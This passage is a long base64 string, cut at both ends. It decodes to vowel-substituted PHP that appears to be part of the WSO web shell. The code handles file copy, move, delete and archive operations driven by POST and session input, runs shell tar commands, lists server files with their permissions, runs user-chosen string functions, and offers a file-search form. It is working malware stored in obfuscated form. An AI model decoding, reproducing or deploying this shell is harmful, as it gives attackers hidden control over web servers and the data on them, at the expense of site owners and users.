AoJHR5cDUgPT0gImQ0ciIpDQoJCQkJCQkJZDVsNXQ1RDRyKCQ0dDVtKTsNCgkJCQkJCTVsczUNCgkJCQkJCQlAM25sNG5rKCQ0dDVtKTsNCgkJCQkJfQ0KCQkJCQljbDJzNWQ0cigkZGgpOw0KCQkJCQlAcm1kNHIoJHAxdGgpOw0KCQkJCX0NCgkJCQk0Zig0c18xcnIxeShAJF9QT1NUWydmJ10pKQ0KCQkJCQlmMnI1MWNoKCRfUE9TVFsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KCQkJCQkJJGYgPSAzcmxkNWMyZDUoJGYpOw0KCQkJCQkJNGYoNHNfZDRyKCRmKSkNCgkJCQkJCQlkNWw1dDVENHIoJGYpOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJGYpOw0KCQkJCQl9DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdwMXN0NSc6DQoJCQkJNGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnYzJweScpIHsNCgkJCQkJZjNuY3Q0Mm4gYzJweV9wMXN0NSgkYywkcywkZCl7DQoJCQkJCQk0Zig0c19kNHIoJGMuJHMpKXsNCgkJCQkJCQlta2Q0cigkZC4kcyk7DQoJCQkJCQkJJGggPSBAMnA1bmQ0cigkYy4kcyk7DQoJCQkJCQkJd2g0bDUgKCgkZiA9IEByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KCQkJCQkJCQk0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWMycHlfcDFzdDUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSA1bHM1NGYoNHNfZjRsNSgkYy4kcykpDQoJCQkJCQkJQGMycHkoJGMuJHMsICRkLiRzKTsNCgkJCQkJfQ0KCQkJCQlmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKQ0KCQkJCQkJYzJweV9wMXN0NSgkX1NFU1NJT05bJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICdtMnY1Jykgew0KCQkJCQlmM25jdDQybiBtMnY1X3Axc3Q1KCRjLCRzLCRkKXsNCgkJCQkJCTRmKDRzX2Q0cigkYy4kcykpew0KCQkJCQkJCW1rZDRyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEAycDVuZDRyKCRjLiRzKTsNCgkJCQkJCQl3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpDQoJCQkJCQkJCTRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IDVsczU0ZihANHNfZjRsNSgkYy4kcykpDQoJCQkJCQkJQGMycHkoJGMuJHMsICRkLiRzKTsNCgkJCQkJfQ0KCQkJCQlmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKQ0KCQkJCQkJQHI1bjFtNSgkX1NFU1NJT05bJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsNCgkJCQl9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICd6NHAnKSB7DQoJCQkJCTRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkejRwID0gbjV3IFo0cEFyY2g0djUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICgkejRwLT4ycDVuKCRfUE9TVFsncGEnXSwgNikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKEA0c19mNGw1KCRfU0VTU0lPTlsnYyddLiRmKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjFkZEY0bDUoJF9TRVNTSU9OWydjJ10uJGYsICRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNTRmKEA0c19kNHIoJF9TRVNTSU9OWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1cjF0MnIgPSBuNXcgUjVjM3JzNHY1SXQ1cjF0MnJJdDVyMXQycihuNXcgUjVjM3JzNHY1RDRyNWN0MnJ5SXQ1cjF0MnIoJGYuJy8nKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoICgkNHQ1cjF0MnIgMXMgJGs1eT0+JHYxbDM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNShyNTFscDF0aCgkazV5KSwgJGs1eSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkNHIoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT5jbDJzNSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnM256NHAnKSB7DQoJCQkJCTRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkejRwID0gbjV3IFo0cEFyY2g0djUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkejRwLT4ycDVuKCRfU0VTU0lPTlsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT41eHRyMWN0VDIoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+Y2wyczUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSB7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRfU0VTU0lPTlsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ10gPSAxcnIxeV9tMXAoJzVzYzFwNXNoNWxsMXJnJywgJF9TRVNTSU9OWydmJ10pOw0KICAgICAgICAgICAgICAgICAgICB3czJFeCgndDFyIGNmenYgJyAuIDVzYzFwNXNoNWxsMXJnKCRfUE9TVFsncGEnXSkgLiAnICcgLiA0bXBsMmQ1KCcgJywgJF9TRVNTSU9OWydmJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgY2hkNHIoJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9DQoJCQkJM25zNXQoJF9TRVNTSU9OWydmJ10pOw0KCQkJCWJyNTFrOw0KCQkJZDVmMTNsdDoNCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQkJCQkkX1NFU1NJT05bJzFjdCddID0gQCRfUE9TVFsncDYnXTsNCgkJCQkJJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107DQoJCQkJCWYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGsgPT4gJGYpDQoJCQkJCQkkX1NFU1NJT05bJ2YnXVska10gPSAzcmxkNWMyZDUoJGYpOw0KCQkJCQkkX1NFU1NJT05bJ2MnXSA9IEAkX1BPU1RbJ2MnXTsNCgkJCQl9DQoJCQkJYnI1MWs7DQoJCX0NCgl9DQoJJGQ0ckMybnQ1bnQgPSBAc2MxbmQ0cig0c3M1dCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCgk0ZigkZDRyQzJudDVudCA9PT0gZjFsczUpIHsJNWNoMiAnQzFuXCd0IDJwNW4gdGg0cyBmMmxkNXIhJzt3czJGMjJ0NXIoKTsgcjV0M3JuOyB9DQoJZ2wyYjFsICRzMnJ0Ow0KCSRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCgkJCSRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQoJfQ0KNWNoMiAiPHNjcjRwdD4NCglmM25jdDQybiBzMSgpIHsNCgkJZjJyKDQ9MDs0PGQuZjRsNXMuNWw1bTVudHMubDVuZ3RoOzQrKykNCgkJCTRmKGQuZjRsNXMuNWw1bTVudHNbNF0udHlwNSA9PSAnY2g1Y2tiMngnKQ0KCQkJCWQuZjRsNXMuNWw1bTVudHNbNF0uY2g1Y2s1ZCA9IGQuZjRsNXMuNWw1bTVudHNbMF0uY2g1Y2s1ZDsNCgl9DQo8L3NjcjRwdD4NCjx0MWJsNSB3NGR0aD0nNjAwJScgY2wxc3M9J20xNG4nIGM1bGxzcDFjNG5nPScwJyBjNWxscDFkZDRuZz0nYSc+DQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGggdzRkdGg9JzZvcHgnPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IDJuY2w0Y2s9J3MxKCknIGNsMXNzPWNoa2J4PjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX24xbTVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5OMW01PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3M0ejVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5TNHo1PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX20yZDRmeV8iLigkczJydFs2XT8wOjYpLiJcIiknPk0yZDRmeTwvMT48L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3A1cm1zXyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UDVybTRzczQybnM8LzE+PC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOw0KCSRkNHJzID0gJGY0bDVzID0gMXJyMXkoKTsNCgkkbiA9IGMyM250KCRkNHJDMm50NW50KTsNCglmMnIoJDQ9MDskNDwkbjskNCsrKSB7DQoJCSQydyA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSkpOw0KCQkkZ3IgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pKTsNCgkJJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sDQoJCQkJCSAncDF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSwNCgkJCQkJICdtMmQ0ZnknID0+IGQxdDUoJ1ktbS1kIEg6NDpzJywgQGY0bDVtdDRtNSgkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKSwNCgkJCQkJICdwNXJtcycgPT4gd3MyUDVybXNDMmwycigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pLA0KCQkJCQkgJ3M0ejUnID0+IEBmNGw1czR6NSgkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICcyd241cicgPT4gJDJ3WyduMW01J10/JDJ3WyduMW01J106QGY0bDUyd241cigkZDRyQzJudDVudFskNF0pLA0KCQkJCQkgJ2dyMjNwJyA9PiAkZ3JbJ24xbTUnXT8kZ3JbJ24xbTUnXTpAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkNCgkJCQkJKTsNCgkJNGYoQDRzX2Y0bDUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSkNCgkJCSRmNGw1c1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdmNGw1JykpOw0KCQk1bHM1NGYoQDRzX2w0bmsoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2w0bmsnLCAnbDRuaycgPT4gcjUxZGw0bmsoJHRtcFsncDF0aCddKSkpOw0KCQk1bHM1NGYoQDRzX2Q0cigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pJiYgKCRkNHJDMm50NW50WyQ0XSAhPSAiLiIpKQ0KCQkJJGQ0cnNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZDRyJykpOw0KCX0NCgkkR0xPQkFMU1snczJydCddID0gJHMycnQ7DQoJZjNuY3Q0Mm4gd3MyQ21wKCQxLCAkYikgew0KCQk0ZigkR0xPQkFMU1snczJydCddWzBdICE9ICdzNHo1JykNCgkJCXI1dDNybiBzdHJjbXAoc3RydDJsMnc1cigkMVskR0xPQkFMU1snczJydCddWzBdXSksIHN0cnQybDJ3NXIoJGJbJEdMT0JBTFNbJ3MycnQnXVswXV0pKSooJEdMT0JBTFNbJ3MycnQnXVs2XT82Oi02KTsNCgkJNWxzNQ0KCQkJcjV0M3JuICgoJDFbJ3M0ejUnXSA8ICRiWydzNHo1J10pID8gLTYgOiA2KSooJEdMT0JBTFNbJ3MycnQnXVs2XT82Oi02KTsNCgl9DQoJM3MycnQoJGY0bDVzLCAid3MyQ21wIik7DQoJM3MycnQoJGQ0cnMsICJ3czJDbXAiKTsNCgkkZjRsNXMgPSAxcnIxeV9tNXJnNSgkZDRycywgJGY0bDVzKTsNCgkkbCA9IDA7DQoJZjJyNTFjaCgkZjRsNXMgMXMgJGYpIHsNCgkJNWNoMiAnPHRyJy4oJGw/JyBjbDFzcz1sNic6JycpLic+PHRkPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9ImZbXSIgdjFsMzU9IicuM3JsNW5jMmQ1KCRmWyduMW01J10pLiciIGNsMXNzPWNoa2J4PjwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSInLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3Y0NXdcJykiPicuaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKTonZyhcJ0Y0bDVzTTFuXCcsXCcnLiRmWydwMXRoJ10uJ1wnKTsiIHQ0dGw1PScgLiAkZlsnbDRuayddIC4gJz48Yj5bICcgLiBodG1sc3A1YzQxbGNoMXJzKCRmWyduMW01J10pIC4gJyBdPC9iPicpLic8LzE+PC90ZD48dGQ+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/d3MyVjQ1d1M0ejUoJGZbJ3M0ejUnXSk6JGZbJ3R5cDUnXSkuJzwvdGQ+PHRkPicuJGZbJ20yZDRmeSddLic8L3RkPjx0ZD4nLiRmWycyd241ciddLicvJy4kZlsnZ3IyM3AnXS4nPC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJyxcJ2NobTJkXCcpIj4nLiRmWydwNXJtcyddDQoJCQkuJzwvdGQ+PHRkPjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdyNW4xbTVcJykiPlI8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd0MjNjaFwnKSI+VDwvMT4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCc1ZDR0XCcpIj5FPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnZDJ3bmwyMWRcJykiPkQ8LzE+JzonJykuJzwvdGQ+PC90cj4nOw0KCQkkbCA9ICRsPzA6NjsNCgl9DQoJNWNoMiAiPHRyPjx0ZCBjMmxzcDFuPTc+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNMW4nPg0KCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPg0KCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpLiInPg0KCTxzNWw1Y3QgbjFtNT0ncDYnPjwycHQ0Mm4gdjFsMzU9J2MycHknPkMycHk8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdtMnY1Jz5NMnY1PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nZDVsNXQ1Jz5ENWw1dDU8LzJwdDQybj4iOw0KICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSd6NHAnPkMybXByNXNzICh6NHApPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nM256NHAnPlVuYzJtcHI1c3MgKHo0cCk8LzJwdDQybj4iOw0KICAgIDVjaDIgIjwycHQ0Mm4gdjFsMzU9J3Qxcic+QzJtcHI1c3MgKHQxci5neik8LzJwdDQybj4iOw0KICAgIDRmKCE1bXB0eSgkX1NFU1NJT05bJzFjdCddKSAmJiBAYzIzbnQoJF9TRVNTSU9OWydmJ10pKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSdwMXN0NSc+UDFzdDUgLyBDMm1wcjVzczwvMnB0NDJuPiI7DQogICAgNWNoMiAiPC9zNWw1Y3Q+Jm5ic3A7IjsNCiAgICA0ZighNW1wdHkoJF9TRVNTSU9OWycxY3QnXSkgJiYgQGMyM250KCRfU0VTU0lPTlsnZiddKSAmJiAoKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCcpIHx8ICgkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSkpDQogICAgICAgIDVjaDIgImY0bDUgbjFtNTogPDRucDN0IHR5cDU9dDV4dCBuMW01PXBhIHYxbDM1PSd3czJfIiAuIGQxdDUoIlltZF9INHMiKSAuICIuIiAuICgkX1NFU1NJT05bJzFjdCddID09ICd6NHAnPyd6NHAnOid0MXIuZ3onKSAuICInPiZuYnNwOyI7DQogICAgNWNoMiAiPDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jz48L3RkPjwvdHI+PC9mMnJtPjwvdDFibDU+PC9kNHY+IjsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuU3RyNG5nVDIybHMoKSB7DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YWI0bicpKSB7ZjNuY3Q0Mm4gaDV4YWI0bigkcCkge3I1dDNybiBkNWNiNG4oaDV4ZDVjKCRwKSk7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdiNG5oNXgnKSkge2YzbmN0NDJuIGI0bmg1eCgkcCkge3I1dDNybiBkNWNoNXgoYjRuZDVjKCRwKSk7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhMXNjNDQnKSkge2YzbmN0NDJuIGg1eGExc2M0NCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RyTDVuKCRwKTskNCs9YSl7JHIuPWNocihoNXhkNWMoJHBbJDRdLiRwWyQ0KzZdKSk7fXI1dDNybiAkcjt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJzFzYzQ0YWg1eCcpKSB7ZjNuY3Q0Mm4gMXNjNDRhaDV4KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSBzcHI0bnRmKCclMGFYJywycmQoJHBbJDRdKSk7cjV0M3JuIHN0cnQyM3BwNXIoJHIpO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnZjNsbF8zcmw1bmMyZDUnKSkge2YzbmN0NDJuIGYzbGxfM3JsNW5jMmQ1KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSAnJScuZDVjaDV4KDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCgkkc3RyNG5nVDIybHMgPSAxcnIxeSgNCgkJJ0IxczVldSA1bmMyZDUnID0+ICdiMXM1ZXVfNW5jMmQ1JywNCgkJJ0IxczVldSBkNWMyZDUnID0+ICdiMXM1ZXVfZDVjMmQ1JywNCgkJJ1VybCA1bmMyZDUnID0+ICczcmw1bmMyZDUnLA0KCQknVXJsIGQ1YzJkNScgPT4gJzNybGQ1YzJkNScsDQoJCSdGM2xsIDNybDVuYzJkNScgPT4gJ2YzbGxfM3JsNW5jMmQ1JywNCgkJJ21kaSBoMXNoJyA9PiAnbWRpJywNCgkJJ3NoMTYgaDFzaCcgPT4gJ3NoMTYnLA0KCQknY3J5cHQnID0+ICdjcnlwdCcsDQoJCSdDUkNvYScgPT4gJ2NyY29hJywNCgkJJ0FTQ0lJIHQyIEhFWCcgPT4gJzFzYzQ0YWg1eCcsDQoJCSdIRVggdDIgQVNDSUknID0+ICdoNXhhMXNjNDQnLA0KCQknSEVYIHQyIERFQycgPT4gJ2g1eGQ1YycsDQoJCSdIRVggdDIgQklOJyA9PiAnaDV4YWI0bicsDQoJCSdERUMgdDIgSEVYJyA9PiAnZDVjaDV4JywNCgkJJ0RFQyB0MiBCSU4nID0+ICdkNWNiNG4nLA0KCQknQklOIHQyIEhFWCcgPT4gJ2I0bmg1eCcsDQoJCSdCSU4gdDIgREVDJyA9PiAnYjRuZDVjJywNCgkJJ1N0cjRuZyB0MiBsMnc1ciBjMXM1JyA9PiAnc3RydDJsMnc1cicsDQoJCSdTdHI0bmcgdDIgM3BwNXIgYzFzNScgPT4gJ3N0cnQyM3BwNXInLA0KCQknSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLA0KCQknU3RyNG5nIGw1bmd0aCcgPT4gJ3N0cmw1bicsDQoJKTsNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSB0cjM1Ow0KCQkyYl9zdDFydCgpOw0KCQk0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpDQoJCQk1Y2gyICRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pOw0KCQkkdDVtcCA9ICJkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0Jykuc3R5bDUuZDRzcGwxeT0nJztkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0JykuNG5uNXJIVE1MPSciLjFkZGNzbDFzaDVzKGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsNCgl9DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlN0cjRuZyBjMm52NXJzNDJuczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCgk1Y2gyICI8ZjJybSBuMW01PSd0MjJsc0Yycm0nIDJuUzNibTR0PSc0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCglmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCgkJNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KCQk1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz4gPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgIi4oQCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuIj4gczVuZCAzczRuZyBBSkFYPGJyPjx0NXh0MXI1MSBuMW01PSc0bnAzdCcgc3R5bDU9J20xcmc0bi10MnA6aXB4JyBjbDFzcz1iNGcxcjUxPiIuKDVtcHR5KCRfUE9TVFsncDYnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWydwYSddKSkuIjwvdDV4dDFyNTE+PC9mMnJtPjxwcjUgY2wxc3M9J21sNicgc3R5bDU9JyIuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4ibTFyZzRuLXQycDppcHgnIDRkPSdzdHJPM3RwM3QnPiI7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKTVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKSk7DQoJfQ0KCTVjaDIiPC9wcjU+PC9kNHY+PGJyPjxoNj5TNTFyY2ggdDV4dCA0biBmNGw1czo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCgkJPGYycm0gMm5zM2JtNHQ9XCJnKG4zbGwsdGg0cy5jd2QudjFsMzUsbjNsbCx0aDRzLnQ1eHQudjFsMzUsdGg0cy5mNGw1bjFtNS52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjx0MWJsNSBjNWxscDFkZDRuZz0nNicgYzVsbHNwMWM0bmc9JzAnIHc0ZHRoPSdpMCUnPg0KCQkJPHRyPjx0ZCB3NGR0aD0nNiUnPlQ1eHQ6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3Q1eHQnIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPlAxdGg6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2N3ZCcgdjFsMzU9JyIuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+TjFtNTo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nZjRsNW4xbTUnIHYxbDM1PScqJyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD48L3RkPjx0ZD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj4NCgkJCTwvdDFibDU+PC9mMnJtPiI7DQoNCglmM25jd